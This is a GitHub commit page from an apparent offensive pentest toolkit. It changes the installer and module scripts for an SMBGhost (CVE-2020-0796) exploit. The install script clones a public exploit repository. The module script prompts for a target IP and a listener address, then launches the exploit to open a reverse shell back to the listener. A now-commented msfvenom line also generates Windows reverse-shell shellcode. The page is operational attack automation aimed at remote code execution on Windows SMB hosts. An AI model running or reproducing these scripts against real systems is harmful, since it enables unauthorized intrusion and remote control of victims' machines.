Skip to content

Commit

Permalink
SMBGhost Exploit Replacement
Browse files Browse the repository at this point in the history
  • Loading branch information
s1l3nt78 committed Oct 10, 2020
1 parent 303f79f commit 47d30bf
Show file tree
Hide file tree
Showing 2 changed files with 21 additions and 19 deletions.
8 changes: 5 additions & 3 deletions install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -642,15 +642,17 @@ t26(){
fi

echo -e "${YLW}Checking for SMBGhost Exploit${NC}"
if [[ -d '/opt/SMBGhost_RCE_PoC' ]]; then
if [[ -d '/opt/CVE-2020-0796' ]]; then
echo -e "${ORNG}"
figlet -f mini "SMBGhost Exploit is already installed"
echo -e "${NC}"
cd /opt/SMBGhost_RCE_PoC
cd /opt/CVE-2020-0796
sudo git fetch && sudo git pull &>/dev/null
else
cd /opt/
sudo git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
sudo git clone https://github.com/thelostworldFree/CVE-2020-0796.git
cd CVE-2020-0796
sudo python -m pip install -r requirements.txt
fi
}

Expand Down
32 changes: 16 additions & 16 deletions modules/exmods/smbghost.sh
Original file line number Diff line number Diff line change
Expand Up @@ -22,28 +22,28 @@ exploit(){
echo -e "${ORNG}"
figlet -f mini "SMBGhost Exploit"
echo -e "${NC}"
cd /opt/SMBGhost_RCE_PoC
cd /opt/CVE-2020-0796
echo -e "${W}Please enter the IP of listener${NC}"
read LISTENER
echo -e "${W}Please enter the port of listener${NC}"
read PORT
echo -e "${W}Please enter the target IP${NC}"
read TARGET
echo -e "${YLW}An xterm window will pop-up and generate shellcode\n Once done copy the\nraw shellcode & paste it into the section named ${ORNG}USER_PAYLOAD ${YLW}as is.\n(${RED}'buf' ${YLW}will be replaced with ${ORNG}'USER_PAYLOAD' ${YLW}automatically')${NC}"
msfvenom -p windows/shell_reverse_tcp LHOST=${TARGET} LPORT=${PORT} -f py -b '\x00\x0a\x0d\x20' > ~/raw_shell
sed -i "s/${OUT}/${IN}/g" ~/raw_shell
KD=$(kdialog -h)
if [[ ${KD} == "" ]]; then
COM='cat'
else
COM='kdialog --geometry 600x800 --textbox'
fi
${COM} ~/raw_shell
rm ~/raw_shell
sleep 2
sudo leafpad exploit.py
sleep 1
sudo python exploit.py -ip ${TARGET}
#echo -e "${YLW}An xterm window will pop-up and generate shellcode\n Once done copy the\nraw shellcode & paste it into the section named ${ORNG}USER_PAYLOAD ${YLW}as is.\n(${RED}'buf' ${YLW}will be replaced with ${ORNG}'USER_PAYLOAD' ${YLW}automatically')${NC}"
#msfvenom -p windows/shell_reverse_tcp LHOST=${TARGET} LPORT=${PORT} -f py -b '\x00\x0a\x0d\x20' > ~/raw_shell
#sed -i "s/${OUT}/${IN}/g" ~/raw_shell
#KD=$(kdialog -h)
#if [[ ${KD} == "" ]]; then
# COM='cat'
#else
# COM='kdialog --geometry 600x800 --textbox'
#fi
#${COM} ~/raw_shell
#rm ~/raw_shell
#sleep 2
#sudo leafpad exploit.py
#sleep 1
sudo python CVE-2020-0796-POC.py ${TARGET} -lhost ${LISTENER} -lport ${PORT}
}

PS3='Which module would you like to use?'
Expand Down

0 comments on commit 47d30bf

Please sign in to comment.